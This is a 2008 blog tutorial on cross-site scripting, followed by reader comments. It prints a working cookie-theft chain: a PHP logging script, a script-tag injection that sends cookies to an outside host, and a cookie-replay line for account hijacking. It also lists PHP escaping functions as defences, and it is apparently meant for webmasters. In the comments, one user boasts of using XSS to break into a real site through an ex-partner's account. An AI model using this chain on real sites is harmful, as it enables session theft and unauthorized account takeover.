| Cross Site Scripting (XSS) Posted by: Jordan in XSS, Security, Programming, PHP, JavaScript on Jun 10, 2008 |
Once the hacker has this information they can take over your account. This is somewhat of a guide and tutorial on XSS with the intention of educating web masters on how attacks occur and the methods to prevent these type of attacks.
Step 1
The hacker will have a script that grabs your information and saves it somewhere (usually a file) that they can retrieve at a later date.
< ?php
$information=$_GET['info'];
$file=fopen("infolog.txt", "a");
fwrite($file, "$informationn");
fclose($file);
print "Thanks!";
?>
Step 2
Next the hacker will find a target site. The target site must have user input fields and allow the insertion of JavaScript script tags.
A Sample JavaScript Injection Code:
< script >window.location = "http://www.mydomain.com/sessionlog.php?info="+document.cookie < /script>
This code will redirect users to the URL of your choice. In the example above it will redirect the users to our pretend script, http://www.mydomain.com/sessionlog.php with a variable named info which contains the users cookie information.Step 3 - Your Information
Now that the hacker has your information he/she can then extract the data from the file. They can then return to your site and type the following in the URL.
Javascript:void(document.cookie="variablename=info")
variablename will be replaced with the cookie value name and info will be replaced with the cookie information received from the log script. A simple refresh of the page and they can be a new user (an admin for instance) on the new site.
Protection MethodS - Preventing XSS
I'll note PHP functions here and describe them. For other web scripting languages you can probably find similar functions.
There are three functions in PHP that will prevent XSS.
1. strip_tags() - This function will delete all HTML tags except the ones you allow.
$html_text = strip_tags($html_text);
2. htmlspecialchars() - This function will convert all < and > characters into "<" and ">"$html_text = htmlspecialchars($html_text);
3. htmlentities() - This function is identical to the above function but converts all characters with entity equivalents.
$html_text = htmlentities($html_text);
Use one of these three methods on all input data. This will prevent an XSS attack from occuring.
Need Help?
Ask your security question on our forum in the appropriate section.
|
phpforfun
June 10, 2008 67.101.88.195 Votes: +0 |
Thats weird, I haxxored your site with xss! lol.. report abuse
vote down
vote up
|
|
Jordan
June 11, 2008 63.211.21.46 Votes: +0 |
I thought about mentioning that but I didn't. You forgot to steal our cookie information or session data though. report abuse
vote down
vote up
|
|
phpforfun
June 11, 2008 68.110.101.33 Votes: +0 |
The sessions were hashed, I didnt care too much to do it, I have done it though.. report abuse
vote down
vote up
|
|
phpforfun
June 11, 2008 68.110.101.33 Votes: +0 |
Oh, for Vampire freaks, my ex was a goth wannabe, so I got on her account,and typed [removed]alert([removed]), and it said "userid=13123", I used XSS to get his hashed password, changed hers to his pass, and her user ID to 1, and I had full access to the website. The goth owner got PISSED, lol report abuse
vote down
vote up
|
|
phpforfun
June 14, 2008 67.101.88.248 Votes: +0 |
http://analyzethathost.com/c2.html report abuse
vote down
vote up
|